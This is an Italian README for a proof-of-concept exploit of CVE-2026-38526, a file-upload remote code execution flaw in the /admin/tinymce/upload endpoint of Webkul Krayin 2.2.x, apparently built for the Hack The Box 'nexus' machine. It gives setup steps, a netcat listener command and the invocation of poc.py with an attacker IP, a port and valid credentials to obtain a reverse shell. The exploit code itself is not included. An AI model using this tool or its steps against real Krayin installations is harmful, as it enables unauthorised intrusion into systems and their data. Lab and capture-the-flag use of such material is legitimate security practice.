CVE-2026-38526-PoC-htb-nexus

Uno script PoC per CVE-2026-38526, RCE tramite una vulnerabilità di caricamento file nell'endpoint /admin/tinymce/upload di webkul krayin 2.2.x (costruito per htb-nexus)

🛠 Avvio rapido e utilizzo

1. Clona il repository:
   root@kitploit:~

   git clone https://github.com/Resolvdd/CVE-2026-38526-PoC-htb-nexus.git
   cd CVE-2026-38526-PoC-htb-nexus
   

2. Crea un venv Python:
   root@kitploit:~

   python3 -m venv .venv
   source .venv/bin/activate
   

3. Installa requirements.txt:
   root@kitploit:~

   pip install -r requirements.txt
   

4. Avvia il listener:
   root@kitploit:~

   nc -lvnp <port number> (Predefinito: 9001)
   

5. Esegui lo script:
   root@kitploit:~

   python3 poc.py -i <your-ip> -p <listener-port-number> -e <valid-krayin-email> -P <valid-krayin-password> -u <url-escluso-protocollo Predefinito: http>